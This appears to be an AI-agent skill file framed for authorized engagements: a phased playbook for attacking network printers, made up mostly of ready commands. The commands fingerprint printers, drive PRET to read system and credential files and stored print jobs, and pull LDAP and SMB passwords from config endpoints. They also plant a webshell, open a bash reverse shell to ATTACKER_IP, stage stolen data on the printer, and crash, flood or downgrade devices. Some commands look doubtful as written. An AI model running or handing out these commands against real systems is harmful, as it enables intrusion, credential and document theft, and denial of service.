---
name: rt-printer-attacks
description: "Network printer exploitation skill for authorized engagements. PRET (Printer Exploitation Toolkit) for PostScript and PJL attacks, printer credential extraction, stored document retrieval, printer as network pivot point, SNMP community string abuse, IPP exploitation, printer firmware attacks, and using printers as covert C2 storage. Use when network printers are in scope or when pivoting through printer VLANs."
---

# rt-printer-attacks — Network Printer Exploitation

## Overview

Network printers are overlooked in most security assessments but are high-value targets: they store copies of every printed document, often have unpatched firmware, sit on multiple VLANs, have weak or no authentication, and can be used as persistent storage for attacker data. Most enterprise printers speak PostScript, PJL, and PCL — each with exploitable features.

---

## Phase 1 — Discovery & Fingerprinting

```bash
# Printer-specific ports
nmap -sV -p 9100,515,631,161,443,80 PRINTER_IP
# 9100 = RAW printing (JetDirect)
# 515  = LPD/LPR
# 631  = IPP (Internet Printing Protocol)
# 161  = SNMP
# 80   = Web management UI

# Discover printers on network
nmap -p 9100 --open 10.10.10.0/24
nmap --script printer-info 10.10.10.0/24

# SNMP community string (often 'public')
snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43
# Returns: printer model, serial, status, paper level, etc.

# Web UI fingerprinting
curl http://PRINTER_IP/
# HP: /hp/device/index.htm
# Xerox: /wps/mydoc.html
# Canon: /English/pages/top.htm
# Ricoh: /web/entry.html
```

---

## Phase 2 — PRET (Printer Exploitation Toolkit)

```bash
# PRET = Python tool for attacking PostScript, PJL, and PCL printers
git clone https://github.com/RUB-NDS/PRET
pip3 install -r PRET/requirements.txt

# Connect via RAW port (9100) — most common
python3 PRET/pret.py PRINTER_IP pjl
python3 PRET/pret.py PRINTER_IP postscript
python3 PRET/pret.py PRINTER_IP pcl

# PJL attacks (Printer Job Language)
python3 PRET/pret.py PRINTER_IP pjl
  # Once connected:
  info variables    # Printer config variables
  info status       # Current status
  info id           # Device ID and firmware
  
  # Read filesystem
  ls /             # List root filesystem
  ls /etc/         # Config files
  cat /etc/shadow  # Credential files (some printers run Linux)
  
  # Get stored jobs / documents
  ls /jobs/        # Pending print jobs
  get /jobs/001.ps # Download print job (may contain sensitive docs)
  
  # Set config (denial of service or persistence)
  set TIMEOUT=0    # Brick printer until power cycle
  
  # Filesystem write
  put webshell.php /var/www/html/  # If printer runs web server

# PostScript attacks
python3 PRET/pret.py PRINTER_IP postscript
  # Execute PostScript code
  # Read filesystem via PostScript file operations
  exec "(cat /etc/passwd) run"
  
  # SSRF via PostScript
  exec "(http://169.254.169.254/) run"
```

---

## Phase 3 — Stored Document Retrieval

```bash
# Many printers store copies of documents
# HR docs, financial reports, executive emails all pass through

# Via PJL
python3 PRET/pret.py PRINTER_IP pjl
  ls /savedjobs/
  get /savedjobs/confidential_report.pdf

# Via web UI (if no auth)
curl http://PRINTER_IP/hp/device/ScannerImages/
# Ricoh stored docs
curl http://PRINTER_IP/web/entry.html?func=FUNC&page=PrintFunc&subPage=JobList

# IPP (Internet Printing Protocol) — get job list
curl -X POST http://PRINTER_IP:631/printers/HP_LaserJet \
  -H "Content-Type: application/ipp" \
  --data-binary @get_jobs_request.ipp

# SNMP — get print job info
snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43.11
```

---

## Phase 4 — Credential Extraction

```bash
# Printers store LDAP, email, SMB credentials for scanning features

# Via web UI (no auth — very common)
curl http://PRINTER_IP/hp/device/ldap_settings.xml
curl http://PRINTER_IP/config.xml
# May contain: LDAP bind password, email server credentials, SMB share creds

# Via SNMP
snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.4.1.11.2.3.9.4.2
# HP MIB: contains email/LDAP config

# Via PJL filesystem read
python3 PRET/pret.py PRINTER_IP pjl
  cat /etc/ldap.conf
  cat /var/spool/samba/credentials.txt
  ls /etc/
```

---

## Phase 5 — Printer as Network Pivot

```bash
# Printers often sit on multiple VLANs:
# - Office VLAN (users connect to print)
# - Server VLAN (for file scanning)
# - Management VLAN
# Use printer as proxy into otherwise-inaccessible networks

# If printer runs Linux (HP, Xerox, Ricoh often do):
python3 PRET/pret.py PRINTER_IP pjl
  # Check if netcat/ncat available
  exec "which nc ncat netcat"
  
  # Reverse shell from printer
  exec "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
  
  # Once you have shell on printer:
  ip addr show  # Check all interfaces — printer may be on 2-3 networks
  ip route      # Check routing table
  
  # Scan internal networks reachable from printer
  for i in $(seq 1 254); do 
    ping -c1 -W1 10.20.0.$i &>/dev/null && echo "UP: 10.20.0.$i"
  done

# Printer as data drop (covert storage)
# Upload stolen data to printer filesystem
python3 PRET/pret.py PRINTER_IP pjl
  put exfil_data.zip /tmp/
# Data persists until printer is power cycled or storage wiped
```

---

## Phase 6 — DoS & Firmware Attacks

```bash
# Infinite print loop
python3 PRET/pret.py PRINTER_IP pjl
  flood  # Sends endless print jobs

# Printer crash via malformed PJL
echo -e '\x1b%-12345X@PJL \r\n@PJL SET SERVICEMODE=HPBOISEID\r\n' | nc PRINTER_IP 9100

# Firmware downgrade (if old vulnerable firmware available)
# HP: upload .bdl firmware file via web UI
curl -X POST http://PRINTER_IP/hp/device/update \
  -F "firmware=@old_vulnerable_firmware.bdl"

# Change admin password via SNMP
snmpset -v2c -c private PRINTER_IP \
  .1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.3.0 s "newpassword"
```

---

## Skill Levels

**BEGINNER:** PRET PJL connection + info commands + web UI default credential testing

**INTERMEDIATE:** Stored document retrieval + credential extraction from config files + SNMP enumeration

**ADVANCED:** Printer filesystem access + reverse shell from printer + pivot into secondary VLANs

**EXPERT:** Firmware manipulation + printer as persistent C2 storage + cross-VLAN attacks via printer

---

## References

- PRET: https://github.com/RUB-NDS/PRET
- Printer Hacking research (RUB): https://www.nds.rub.de/research/printer-hacking/
- SNMP printer MIBs: http://www.mibdepot.com
- MITRE T1012: https://attack.mitre.org/techniques/T1012/
